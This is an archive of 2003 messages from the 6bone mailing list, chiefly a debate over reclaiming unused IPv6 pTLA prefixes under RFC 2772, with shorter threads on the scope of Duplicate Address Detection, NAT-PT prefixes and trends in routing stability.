> "Oops, we had a misconfig thus it was not announced... Fixed now"?
> "We didn't need it [anymore] but might need it sometime in the future"?
> 
> [please add your own variants, the above ones were just off my head]
> 
> Again, we are speaking about prefixes not being announced for _months_.
> 
> 
> Regards,
> Daniel
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

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To: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment 
  period closes 17 January 2003
Cc: 6BONE List <6bone@mailman.isi.edu>
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Marc, and others responding on this point,

Let's wait for the two weeks and see who replies. I will make an attempt in 
each no-reply case to notify the listed contacts before a final action.

I appreciate both sides of this: being considerate of 6bone pTLA holders, 
and holding a reasonable standard of compliance to our rules.


Thanks,

Bob


===
At 04:04 PM 1/3/2003 -0500, Marc Blanchet wrote:


>-- jeudi, janvier 02, 2003 17:23:11 -0800 Bob Fink <bob@thefinks.com>
>wrote/a écrit:
>
> > Nicolas,
> >
> > At 01:17 AM 1/3/2003 +0100, Nicolas DEFFAYET wrote:
> >> On Thu, 2003-01-02 at 03:29, Bob Fink wrote:
> >> Bob,
> >>
> >> > This is a notice of intent to reclaim pTLAs that have not been in use
> >> > for quite a while (at least several months). Please review the list
> >> > below.
> >> >
> >> > These pTLAs will be returned to the pool, pending comments to me or the
> >> > list, at the end of two weeks. Please reply to me or the list prior to
> >> > close of business 17 January 2003.
> >>
> >> Many pTLA owner don't read the 6bone mailing-list. I think that it can
> >> be a good idea to add them in Cc.
> >
> > It is a requirement that they do per section 8. of RFC 2772. Also, many
> > of the contacts I have tried have not worked (I'll admit I haven't tried
> > all), or I have gotten no response.
> >
> > So, my feeling is that if pTLA holders aren't willing to read the 6bone
> > list, they aren't serious about their pTLA and the 6bone.
>
>Bob, I agree, but at the same time, we are talking about loosing the use of
>a large address space. Care should be taken to make sure that the owner has
>the chance to respond.
>
>To me, 2 weeks email sent to a mailing list is not fair. Because:
>- one might watch the 6bone mailing list once a while
>- he might be on vacation. (Many continue to read personal email but would
>delay any mailing list emails during vacation)
>- ...
>
>So I think should give them more time (1 month?) and send the email to all
>the contacts attached to the 6bone object in the registry.
>
>Regards, Marc.
>
> >
> >
> > Thanks,
> >
> > Bob
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >


From dr@cluenet.de Fri Jan  3 18:13:30 2003
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Date: Sat, 4 Jan 2003 03:13:27 +0100
From: Daniel Roesen <dr@cluenet.de>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment period closes 17 January 2003
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On Fri, Jan 03, 2003 at 06:37:55PM -0600, phrost wrote:
> I would accept a reply of "We are having physical connection
> problems and are unable to advertise our prefix at the current time".

How would that be in compliance with RFC2772, Section 7, point 2?

"The pTLA Applicant MUST have the ability and intent to provide
"production-quality" 6Bone backbone service."

Someone not announcing the route for several months obviously neither
intends nor is able to provide any backbone service, let alone
"production-quality".

I'm actually quite curious what the outcome of this discussion
will be...


Regards,
Daniel

From Marc.Blanchet@viagenie.qc.ca Fri Jan  3 18:16:55 2003
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To: Bob Fink <bob@thefinks.com>
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Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment  
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-- vendredi, janvier 03, 2003 17:27:33 -0800 Bob Fink <bob@thefinks.com>
wrote/a écrit:

> Marc, and others responding on this point,
> 
> Let's wait for the two weeks and see who replies. I will make an attempt
> in each no-reply case to notify the listed contacts before a final action.

great.

> 
> I appreciate both sides of this: being considerate of 6bone pTLA holders,
> and holding a reasonable standard of compliance to our rules.

I know you are and always been.

Thanks, Marc.

> 
> 
> Thanks,
> 
> Bob
> 
> 
> ===
> At 04:04 PM 1/3/2003 -0500, Marc Blanchet wrote:
> 
> 
>> -- jeudi, janvier 02, 2003 17:23:11 -0800 Bob Fink <bob@thefinks.com>
>> wrote/a écrit:
>> 
>> > Nicolas,
>> > 
>> > At 01:17 AM 1/3/2003 +0100, Nicolas DEFFAYET wrote:
>> >> On Thu, 2003-01-02 at 03:29, Bob Fink wrote:
>> >> Bob,
>> >> 
>> >> > This is a notice of intent to reclaim pTLAs that have not been in
>> >> > use for quite a while (at least several months). Please review the
>> >> > list below.
>> >> > 
>> >> > These pTLAs will be returned to the pool, pending comments to me or
>> >> > the list, at the end of two weeks. Please reply to me or the list
>> >> > prior to close of business 17 January 2003.
>> >> 
>> >> Many pTLA owner don't read the 6bone mailing-list. I think that it can
>> >> be a good idea to add them in Cc.
>> > 
>> > It is a requirement that they do per section 8. of RFC 2772. Also, many
>> > of the contacts I have tried have not worked (I'll admit I haven't
>> > tried all), or I have gotten no response.
>> > 
>> > So, my feeling is that if pTLA holders aren't willing to read the 6bone
>> > list, they aren't serious about their pTLA and the 6bone.
>> 
>> Bob, I agree, but at the same time, we are talking about loosing the use
>> of a large address space. Care should be taken to make sure that the
>> owner has the chance to respond.
>> 
>> To me, 2 weeks email sent to a mailing list is not fair. Because:
>> - one might watch the 6bone mailing list once a while
>> - he might be on vacation. (Many continue to read personal email but
>> would delay any mailing list emails during vacation)
>> - ...
>> 
>> So I think should give them more time (1 month?) and send the email to
>> all the contacts attached to the 6bone object in the registry.
>> 
>> Regards, Marc.
>> 
>> > 
>> > 
>> > Thanks,
>> > 
>> > Bob
>> > _______________________________________________
>> > 6bone mailing list
>> > 6bone@mailman.isi.edu
>> > http://mailman.isi.edu/mailman/listinfo/6bone
>> > 
> 



------------------------------------------
Marc Blanchet
Viagénie
tel: +1-418-656-9254x225

------------------------------------------
http://www.freenet6.net: IPv6 connectivity
------------------------------------------
http://www.normos.org: IETF(RFC,draft),
  IANA,W3C,... standards.
------------------------------------------

From jeroen@unfix.org Fri Jan  3 18:40:17 2003
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Bob Fink wrote:

> Marc, and others responding on this point,
> 
> Let's wait for the two weeks and see who replies. I will make 
> an attempt in each no-reply case to notify the listed contacts before
a 
> final action.
> 
> I appreciate both sides of this: being considerate of 6bone 
> pTLA holders, and holding a reasonable standard of compliance to our
rules.

It doesn't matter if it takes two weeks or two months.
The prefixes aren't causing any 'damage'.

It's just 'sloppy' to have them around and some people could argue
that they would have better things for that ip space.
As this has been set in motion they will be cleansed, if it's two weeks
or a month, doesn't matter that much. At least too me.
The TLA holders who didn't reply at the final date simply show the
community how much worth they give to 6bone ;(

If they where causing harm though it would be a totally different
matter.

Greets,
 Jeroen


From bob@thefinks.com Fri Jan  3 21:49:54 2003
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Date: Fri, 03 Jan 2003 17:12:34 -0800
To: Kurt Roeckx <Q@ping.be>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment
  period closes 17 January 2003
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At 07:46 PM 1/3/2003 +0100, Kurt Roeckx wrote:
>On Thu, Jan 02, 2003 at 05:23:11PM -0800, Bob Fink wrote:
> >
> > It is a requirement that they do per section 8. of RFC 2772. Also, many of
> > the contacts I have tried have not worked (I'll admit I haven't tried 
> all),
> > or I have gotten no response.
>
>I'd like to point out that I once, and I think I heard the same
>of others, were for some reason no longer subscribed once.  I
>resubscribed because I found it strange not to get any mail from
>the list for a long period of time.

Let's hope that's behind us and was only a function of the address list 
software change that happened.


Bob 


From keshavaak@huawei.com Sat Jan  4 00:42:56 2003
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Date: Sat, 04 Jan 2003 16:41:54 +0800
From: Keshava Ayanur <keshavaak@huawei.com>
To: 6bone@mailman.isi.edu, ipng@sunroof.eng.sun.com
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Subject: [6bone] DAD scope ??
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I would like to know 

Duplicate Address detection (DAD) scope is only for 
	link - for link local address
Or it appilies even for 

	site - for site local address
	global - for global unicast address.


Thanks 
keshava


From bmanning@ISI.EDU Sat Jan  4 02:07:27 2003
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Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment period closes 17 January 2003
In-Reply-To: <20030104031327.A17865@homebase.cluenet.de> from Daniel Roesen at "Jan 4, 3 03:13:27 am"
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% On Fri, Jan 03, 2003 at 06:37:55PM -0600, phrost wrote:
% > I would accept a reply of "We are having physical connection
% > problems and are unable to advertise our prefix at the current time".
% 
% How would that be in compliance with RFC2772, Section 7, point 2?
% 
% "The pTLA Applicant MUST have the ability and intent to provide
% "production-quality" 6Bone backbone service."
% 
% Someone not announcing the route for several months obviously neither
% intends nor is able to provide any backbone service, let alone
% "production-quality".
% 
% I'm actually quite curious what the outcome of this discussion
% will be...
% 
% 
% Regards,
% Daniel


	For a number of pTLA holders, the delegations were made 
	well prior to RFC 2772 being released. Historically, 
	delegations (of any sort, including IPv4) were only bound
	by the rules in effect when the delegations were made.

	There have been, over the past 15 years, a number of instances
	where due to funding, internal direction, etc. organizations will
	place R&E and development projects on hold for months or years.  
	
	This proposal, as I understand it) will remove delegations
	without recourse.  Seems a bit heavy-handed to me, esp. given
	the large number of other choices available.


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From kni501ss@optushome.com.au Sat Jan  4 05:39:38 2003
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On Thu, 26 Dec 2002 13:08:42 +0800
"Gav" <old_mc_donald@hotmail.com> wrote:

> Hi Trent,
> 
> I would have loved to go to this event but, having only recently moved
> from the UK to Perth WA (September) and not having been able to
> get any work yet, I am unable to afford the costs involved (even the Student
> prices).

See the local/organising linux/unix group about 'group?' tickets through the user group. 
Im  not going, im on the other coast, but I went to last years LCA thru the local user group 
for about $60....

> I would only have gone on the 20th and not the other days involved.
> 
> I wonder if maybe there would be a summary of events and lectures posted to
> your web site some time after the event.?
> 

I too, would be interested in these...

Cheers, MArco

From pekkas@netcore.fi Sat Jan  4 07:57:11 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Keshava Ayanur <keshavaak@huawei.com>
cc: 6bone@mailman.isi.edu, <ipng@sunroof.eng.sun.com>
Subject: Re: [6bone] DAD scope ??
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On Sat, 4 Jan 2003, Keshava Ayanur wrote:
> Duplicate Address detection (DAD) scope is only for 
> Or it appilies even for 
> 
> 	site - for site local address
> 	global - for global unicast address.

All.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From bob@thefinks.com Sat Jan  4 17:10:41 2003
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From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment
  period closes 17 January 2003
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Bill,

At 02:07 AM 1/4/2003 -0800, Bill Manning wrote:
>...     For a number of pTLA holders, the delegations were made
>         well prior to RFC 2772 being released. Historically,
>         delegations (of any sort, including IPv4) were only bound
>         by the rules in effect when the delegations were made.
>
>         There have been, over the past 15 years, a number of instances
>         where due to funding, internal direction, etc. organizations will
>         place R&E and development projects on hold for months or years.
>
>         This proposal, as I understand it) will remove delegations
>         without recourse.  Seems a bit heavy-handed to me, esp. given
>         the large number of other choices available.

Good points, though the "without recourse" is not so. Several have 
contacted me already with some reason or another as to why they aren't up 
at the moment, and my position is to let them make a proposal to the list 
as to what and when they intend to do. Let's wait to see what folks say.

By the way, what did you mean when you say "other choices available"?


Thanks,

Bob 


From bmanning@ISI.EDU Sat Jan  4 18:27:22 2003
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Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment  period closes 17 January 2003
In-Reply-To: <5.2.0.9.0.20030104170237.01d55cb0@mail.addr.com> from Bob Fink at "Jan 4, 3 05:10:26 pm"
To: bob@thefinks.com (Bob Fink)
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% Bill,
% 
% At 02:07 AM 1/4/2003 -0800, Bill Manning wrote:
% >...     For a number of pTLA holders, the delegations were made
% >         well prior to RFC 2772 being released. Historically,
% >         delegations (of any sort, including IPv4) were only bound
% >         by the rules in effect when the delegations were made.
% >
% >         There have been, over the past 15 years, a number of instances
% >         where due to funding, internal direction, etc. organizations will
% >         place R&E and development projects on hold for months or years.
% >
% >         This proposal, as I understand it) will remove delegations
% >         without recourse.  Seems a bit heavy-handed to me, esp. given
% >         the large number of other choices available.
% 
% Good points, though the "without recourse" is not so. Several have 
% contacted me already with some reason or another as to why they aren't up 
% at the moment, and my position is to let them make a proposal to the list 
% as to what and when they intend to do. Let's wait to see what folks say.
% 
% By the way, what did you mean when you say "other choices available"?
% Thanks,

	cleaning up the 6bone delegations is a noble and worthwhile
	effort, however the effect of just "abandoning in place"
	is almost simpler.  If it was up to me, I'd stop doing delegations
	in the 3ffe:: space for the next 10 years. Then set up an 
	periodic/quarterly "check", perhaps with the normal cidr reports to see
	which prefixes are still being used/announced.  Encourage the
	RIRs to "remind" requestors of IPv6 space that they should 
	withdraw 3ffe:: entries when the 2001:: entries are being used.
	Follow up in four/five years and fine out why there are still 3ffe::
	prefixes in use.

	Persuade those that hold 3ffe:: space to consider moving the
	3ffe:: addresses to only those delegations/assignments that reflect
	IPv6 tunnels over IPv4 infrastructure. (a pet project of mine)

	wrt other choices, here are a couple:

		2002:: space
		"glbly unique" site locals
		link-local
		RIR - 2001:: space
		

	It is my humble opinon that its not worth the amount of effort that
	is being spent to kill off folk using 3ffe:: space. That energy could
	be better spent in other ways. 
	
	

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bmanning@ISI.EDU Sat Jan  4 18:35:23 2003
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Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment  period closes 17 January 2003
In-Reply-To: <5.2.0.9.0.20030104170237.01d55cb0@mail.addr.com> from Bob Fink at "Jan 4, 3 05:10:26 pm"
To: bob@thefinks.com (Bob Fink)
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% >         There have been, over the past 15 years, a number of instances
% >         where due to funding, internal direction, etc. organizations will
% >         place R&E and development projects on hold for months or years.
% >
% >         This proposal, as I understand it) will remove delegations
% >         without recourse.  Seems a bit heavy-handed to me, esp. given
% >         the large number of other choices available.
% 
% Good points, though the "without recourse" is not so. Several have 
% contacted me already with some reason or another as to why they aren't up 
% at the moment, and my position is to let them make a proposal to the list 
% as to what and when they intend to do. Let's wait to see what folks say.

	Hum. from my recollection, one entity with 3ffe space closed
	its development facility for two years before restarting it.
	In that period of time, you could not find -anyone- who would 
	claim to speak authoritatively for the delegation.  

	and unless all pTLA holders agree to be bound by RFC 2772 guidelines,
	they will have reason to complain (legally?) that their delegations
	are being withdrawn unfairly.  (while it may not happen, in these
	litigious days, it is a distinct possibility)

	I hope that you can get all the effected parties to respond, on the
	list, with the queries made and potential responses/proposals.

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From bob@thefinks.com Sat Jan  4 18:41:36 2003
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Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment 
  period closes 17 January 2003
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Bill,

At 06:27 PM 1/4/2003 -0800, Bill Manning wrote:
>...
>% By the way, what did you mean when you say "other choices available"?
>% Thanks,
>
>         cleaning up the 6bone delegations is a noble and worthwhile
>         effort, however the effect of just "abandoning in place"
>         is almost simpler.  If it was up to me, I'd stop doing delegations
>         in the 3ffe:: space for the next 10 years. Then set up an
>         periodic/quarterly "check", perhaps with the normal cidr reports 
> to see
>         which prefixes are still being used/announced.  Encourage the
>         RIRs to "remind" requestors of IPv6 space that they should
>         withdraw 3ffe:: entries when the 2001:: entries are being used.
>         Follow up in four/five years and fine out why there are still 3ffe::
>         prefixes in use.
>
>         Persuade those that hold 3ffe:: space to consider moving the
>         3ffe:: addresses to only those delegations/assignments that reflect
>         IPv6 tunnels over IPv4 infrastructure. (a pet project of mine)
>
>         wrt other choices, here are a couple:
>
>                 2002:: space
>                 "glbly unique" site locals
>                 link-local
>                 RIR - 2001:: space
>
>
>         It is my humble opinon that its not worth the amount of effort that
>         is being spent to kill off folk using 3ffe:: space. That energy could
>         be better spent in other ways.

Thanks for your comments.


Bob 


From michel@arneill-py.sacramento.ca.us Sat Jan  4 18:58:09 2003
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6boner,

If my memory is correct, the purpose of a pTLA is to experiment being an
IPv6 ISP, which includes having some "customers". If someone has not
announced their prefix for months, it means they don't provide IPv6
connectivity to anybody and that tells me that they don't do enough in
order to justify a pTLA.

There have been too many people that got a pTLA as a placeholder for
portable address space and I agree that we should reclaim pTLAs from
people that don't use them.

Michel.


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Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment period closes 17 January 2003
In-Reply-To: <2B81403386729140A3A899A8B39B046405E545@server2000> from Michel Py at "Jan 4, 3 06:58:08 pm"
To: michel@arneill-py.sacramento.ca.us (Michel Py)
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% 6boner,
% 
% If my memory is correct, the purpose of a pTLA is to experiment being an
% IPv6 ISP, which includes having some "customers". If someone has not
% announced their prefix for months, it means they don't provide IPv6
% connectivity to anybody and that tells me that they don't do enough in
% order to justify a pTLA.
% 
% There have been too many people that got a pTLA as a placeholder for
% portable address space and I agree that we should reclaim pTLAs from
% people that don't use them.
% 
% Michel.
% 

	Your memory does not match mine. A pTLA is for experimenting
	(getting comfortable) with IPv6.  There was no intimation that
	these delegations required "ISPness".

	Your insinuations wrt folks that received pTLA delegations is
	disengenious at best. You might be wise to back your assertions
	with facts, on the list.

--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From pim@ipng.nl Sun Jan  5 03:43:39 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Bob Fink <bob@thefinks.com>
Cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] notice of intent to reclaim unused pTLAs, comment period closes 17 January 2003
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On Wed, Jan 01, 2003 at 06:29:25PM -0800, Bob Fink wrote:
| 6bone Folk,
| 
| This is a notice of intent to reclaim pTLAs that have not been in use for 
| quite a while (at least several months). Please review the list below.
| 
| These pTLAs will be returned to the pool, pending comments to me or the 
| list, at the end of two weeks. Please reply to me or the list prior to 
| close of business 17 January 2003.

Let me start by saying I commend you for taking measures to ensure the
continued use of pTLA allocations by former applicants. Thanks!

I do agree with Marc however that we should take caution and not return
pTLAs for others if they do not (adequately) read the 6bone mailinglist.

Allthough there's also something to say for simply revoking pTLAs if
there is no response on the 6bone mailinglist (and make it a
non-negotiatable and enforced rule).

As a last measure, after say 1 month of inactivity, may I suggest we
place a telephonecall to the ISP in question (contacts to be found via
the AS number or IPv4 route objects) to see if there's anybody left at
the site doing IPv6.

 
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pim@ipng.nl Sun Jan  5 03:51:49 2003
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On Sat, Jan 04, 2003 at 04:41:54PM +0800, Keshava Ayanur wrote:
| I would like to know 
| 
| Duplicate Address detection (DAD) scope is only for 
| 	link - for link local address
| Or it appilies even for 
| 
| 	site - for site local address
| 	global - for global unicast address.
Keshava,

DAD is used by nodes on a local wire that can see each other (ie, they
are link-local) to check if the address that they would like to use, is
perhaps already in use by another device.

It is pointless to try DAD in global address space at least, because
the prefix that your router uses is guaranteed to be unique anyway.
For site-local prefixes, I am almost certain that they are not checked 
with DAD.

The answer to your question is thus: DAD is only for the linklocal scope.
-- 
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Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pim@ipng.nl Sun Jan  5 03:52:51 2003
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Subject: Re: [6bone] DAD scope ??
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On Sat, Jan 04, 2003 at 05:56:58PM +0200, Pekka Savola wrote:
| On Sat, 4 Jan 2003, Keshava Ayanur wrote:
| > Duplicate Address detection (DAD) scope is only for 
| > Or it appilies even for 
| > 
| > 	site - for site local address
| > 	global - for global unicast address.
| 
| All.
How would I do DAD for a global scope address ? ICMPv6-ND does not seem
appropriate and ICMPv6-echo is surely not what you want.

groet,
Pim

-- 
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Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pekkas@netcore.fi Sun Jan  5 09:14:35 2003
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On Sun, 5 Jan 2003, Pim van Pelt wrote:
> On Sat, Jan 04, 2003 at 05:56:58PM +0200, Pekka Savola wrote:
> | On Sat, 4 Jan 2003, Keshava Ayanur wrote:
> | > Duplicate Address detection (DAD) scope is only for 
> | > Or it appilies even for 
> | > 
> | > 	site - for site local address
> | > 	global - for global unicast address.
> | 
> | All.
>
> How would I do DAD for a global scope address ? 

The same as with link-local addresses.

> ICMPv6-ND does not seem
> appropriate and ICMPv6-echo is surely not what you want.

There seems to be some confusion here.  DAD is used to guarantee
uniqueness of an address on a _link_ (or possibly on a subnet) -- the same
for any kind of address, not uniqueness within a scope (e.g. DAD for a
global address does not mean it's globally unique).

Hope this clarifies.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From michel@arneill-py.sacramento.ca.us Sun Jan  5 12:18:02 2003
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> Bill Manning wrote:
> Your insinuations wrt folks that received pTLA delegations
> is disengenious at best. You might be wise to back your
> assertions with facts, on the list.

If you want to wash dirty laundry in public I strongly suggest you get
Bob Fink's ok first.

Michel.


From michel@arneill-py.sacramento.ca.us Sun Jan  5 12:25:23 2003
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> Bill Manning wrote:
> Your memory does not match mine. A pTLA is for experimenting
> (getting comfortable) with IPv6.  There was no intimation that
> these delegations required "ISPness".

Maybe you could refresh your memory by re-reading RFC2772, Section 7,
point 2 as quoted by Daniel yesterday:

> "The pTLA Applicant MUST have the ability and intent to provide
> "production-quality" 6Bone backbone service."

"Provide service". That does not mean any ISPness, does it?

Michel.


From pim@ipng.nl Sun Jan  5 12:49:02 2003
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| > How would I do DAD for a global scope address ? 
| 
| The same as with link-local addresses.
| 
| > ICMPv6-ND does not seem
| > appropriate and ICMPv6-echo is surely not what you want.
| 
| There seems to be some confusion here.  DAD is used to guarantee
| uniqueness of an address on a _link_ (or possibly on a subnet) -- the same
| for any kind of address, not uniqueness within a scope (e.g. DAD for a
| global address does not mean it's globally unique).

DAD for a global address does not mean it's globally unique, but that
the address is not in use by other devices on the link. I see your
point.

Taken that way, DAD is performed using the linklocal scope, but FOR
any given scope.

Makes sense :)

-- 
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Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From michel@arneill-py.sacramento.ca.us Sun Jan  5 19:24:57 2003
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>> phrost wrote:
>> I would accept a reply of "We are having physical
>> connection problems and are unable to advertise our prefix
>> at the current time".

> Daniel Roesen wrote:
> How would that be in compliance with RFC2772, Section 7,
> point 2?
> "The pTLA Applicant MUST have the ability and intent to
> provide "production-quality" 6Bone backbone service."
> Someone not announcing the route for several months obviously
> neither intends nor is able to provide any backbone service,
> let alone "production-quality".

I agree with Daniel. Being out a few days, can happen; backhoe fate,
bozo fate, does happen. Several months, give me a break. How many pTLAs
can seriously say they have been disconnected from their IPv4 service
for several MONTHS? Gee, when my line goes down for more than 15 minutes
I'm already screaming.

Michel.


From David.Gavarret@ldcom.fr Mon Jan  6 01:54:13 2003
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6bone Folk,

further to the notice of intent to reclaim unused pTLAs Bob sent last week,
here are some informations about our IPv6 platform here at LDCOM Networks
(that has been attributed prefix 3FFE:82e0::/28 on Dec, 13 2001).

Our work on IPv6 started in mid-2001 with a first platform, that grew up til
July 2002. Besides, we started to build a new better-sized platform, that
should have been ready for Q4 2002. But due to internal reorganization,
planning has been delayed, and when the first platform encountered many
problems in July 02, we have been forced to shut down it, without having a
backup solution.

However, I am a bit surprised because of the "Never Seen" status of our
prefix in the SixXS Ghost Route board, as our prefix always been announced
til the major problem in July (ok, that makes a very long time).

Anyway, we should have finished everything needed to restart our platform
before the end of the month. That is why we would like to ask you to give us
a delay to let us announce again the prefix you attributed us, before taking
any action (even if, I agree with that point, we did not entirely respect
RFC2772).

Regards,

David Gavarret
LDCOM Networks

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9-1">
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2">
<TITLE>RE: [6bone] notice of intent to reclaim unused pTLAs, comment  per=
iod closes 17 January 2003</TITLE>
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<BODY>

<P><FONT SIZE=3D2>6bone Folk,</FONT>
</P>

<P><FONT SIZE=3D2>further to the notice of intent to reclaim unused pTLAs=
 Bob sent last week, here are some informations about our IPv6 platform h=
ere at LDCOM Networks (that has been attributed prefix 3FFE:82e0::/28 on =
Dec, 13 2001).</FONT></P>

<P><FONT SIZE=3D2>Our work on IPv6 started in mid-2001 with a first platf=
orm, that grew up til July 2002. Besides, we started to build a new bette=
r-sized platform, that should have been ready for Q4 2002. But due to int=
ernal reorganization, planning has been delayed, and when the first platf=
orm encountered many problems in July 02, we have been forced to shut dow=
n it, without having a backup solution.</FONT></P>

<P><FONT SIZE=3D2>However, I am a bit surprised because of the &quot;Neve=
r Seen&quot; status of our prefix in the SixXS Ghost Route board, as our =
prefix always been announced til the major problem in July (ok, that make=
s a very long time).</FONT></P>

<P><FONT SIZE=3D2>Anyway, we should have finished everything needed to re=
start our platform before the end of the month. That is why we would like=
 to ask you to give us a delay to let us announce again the prefix you at=
tributed us, before taking any action (even if, I agree with that point, =
we did not entirely respect RFC2772).</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>David Gavarret</FONT>
<BR><FONT SIZE=3D2>LDCOM Networks</FONT>
</P>

</BODY>
</HTML>

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From keshavaak@huawei.com Mon Jan  6 03:07:23 2003
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Date: Mon, 06 Jan 2003 19:06:26 +0800
From: Keshava Ayanur <keshavaak@huawei.com>
To: 6bone@mailman.isi.edu, ipng@sunroof.eng.sun.com
Cc: keshav <keshavaak@huawei.com>
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Subject: [6bone] NATPT prefix ...
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I have question about NAT-PT (RFC 2766).

	How does the hosts, routers in the IPV6 domain knows about the 
	NATPT  prefix that they should use when sending V6 packets to V4
network.

	NAT-PT router which resides in the border between V6 & V4 cloud
should 
	advertise this prefix. How ? 

	
Regards,
keshava


From rvdp@rvdp.org Mon Jan  6 06:06:18 2003
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Date: Mon, 6 Jan 2003 15:06:14 +0100
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Subject: [6bone] 6bone routing stability improving?
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I have used the MERIT 6bone routing reports to produce plots of some
long term (several years) trends of some parameters. See:

http://www.nlnetlabs.nl/ipv6/measurements/index.en.html

The first plot is the number of unique AS-es seen in the AS paths.
It is increasing exponentially.

The other plots are the number of announcements/withdraws per number
of total routes. Would that be a good measure of routing stability?
They have decreased significantly since about a year (these plots
have logarithmic Y axes).

Any suggestions for other useful plots?

	rvdp

From jeroen@unfix.org Mon Jan  6 06:19:55 2003
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To: "'Gavarret, David'" <David.Gavarret@ldcom.fr>,
   "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] notice of intent to reclaim unused pTLAs, comment  period closes 17 January 2003
Date: Mon, 6 Jan 2003 15:21:07 +0100
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Gavarret, David wrote:

<SNIP>

> However, I am a bit surprised because of the "Never Seen" 
> status of our prefix in the SixXS Ghost Route board, as our 
> prefix always been announced til the major problem in July 
> (ok, that makes a very long time).

Simple answer: the BGP prefix collection was only started
just a bit before the beginning of December 2002.
So indeed if it was there before that it wouldn't been "seen".

> Anyway, we should have finished everything needed to restart 
> our platform before the end of the month. That is why we 
> would like to ask you to give us a delay to let us announce 
> again the prefix you attributed us, before taking any action 
> (even if, I agree with that point, we did not entirely respect
RFC2772).

A solid answer is always better than none. And if the intent
is there to really use it for a good cause there should (IMHO!)
be no problems for letting organisations capable of showing that
in keeping their TLA.

Not announcing a TLA is better than inserting bogus completely
unadminstrated prefixes which could run rogue.

Greets,
 Jeroen


From bob@thefinks.com Mon Jan  6 09:48:30 2003
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   6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <bob@thefinks.com>
Subject: RE: [6bone] notice of intent to reclaim unused pTLAs, comment 
  pe riod closes 17 January 2003
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 >
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David,

At 10:53 AM 1/6/2003 +0100, Gavarret, David wrote:

>6bone Folk,
>
>further to the notice of intent to reclaim unused pTLAs Bob sent last 
>week, here are some informations about our IPv6 platform here at LDCOM 
>Networks (that has been attributed prefix 3FFE:82e0::/28 on Dec, 13 2001).
>
>Our work on IPv6 started in mid-2001 with a first platform, that grew up 
>til July 2002. Besides, we started to build a new better-sized platform, 
>that should have been ready for Q4 2002. But due to internal 
>reorganization, planning has been delayed, and when the first platform 
>encountered many problems in July 02, we have been forced to shut down it, 
>without having a backup solution.
>
>However, I am a bit surprised because of the "Never Seen" status of our 
>prefix in the SixXS Ghost Route board, as our prefix always been announced 
>til the major problem in July (ok, that makes a very long time).
>
>Anyway, we should have finished everything needed to restart our platform 
>before the end of the month. That is why we would like to ask you to give 
>us a delay to let us announce again the prefix you attributed us, before 
>taking any action (even if, I agree with that point, we did not entirely 
>respect RFC2772).

I believe this is a reasonable plan. Please let the list know when you are 
up again.


Thanks,

Bob 


From bkhabs@nc.rr.com Mon Jan  6 10:35:36 2003
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Date: Mon, 06 Jan 2003 13:35:25 -0500
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   Keshava Ayanur <keshavaak@huawei.com>, 6bone@mailman.isi.edu,
   ipng@sunroof.eng.sun.com
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Subject: [6bone] Re: DAD scope ??
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Each ipv6-over-foo doc discusses modifications to ND,
if necessary, for the particular link technology.  For
example, Section 5 of RFC 2023 (IPv6 over PPP) mentions
that DAD is redundant and needn't be run.

Regards,
Brian

Fred L. Templin wrote:
> Margaret/others,
> 
> Margaret Wasserman wrote:
> 
>> DAD is a link-local mechanism (uses link-local multicast
>> packets).  So, while it checks all addresses, it only
>> explicitly checks for duplicate addresses on the local link.
> 
> 
> What about DAD for links that are unicast-only? Alternatives
> I can imagine are:
> 
>  1. specify some sort of unicast mechanism for DAD
>  2. perform some sort of multicast emulation (e.g., MARS)
>  3. avoid DAD alltogether when one can assume that addresses
>     are uniquely assigned within the site
> 
> Thoughts?
> 
> Fred Templin
> ftemplin@iprg.nokia.com
> 
> 
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------
> 



From ot@cisco.com Mon Jan  6 10:44:33 2003
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From: Ole Troan <ot@cisco.com>
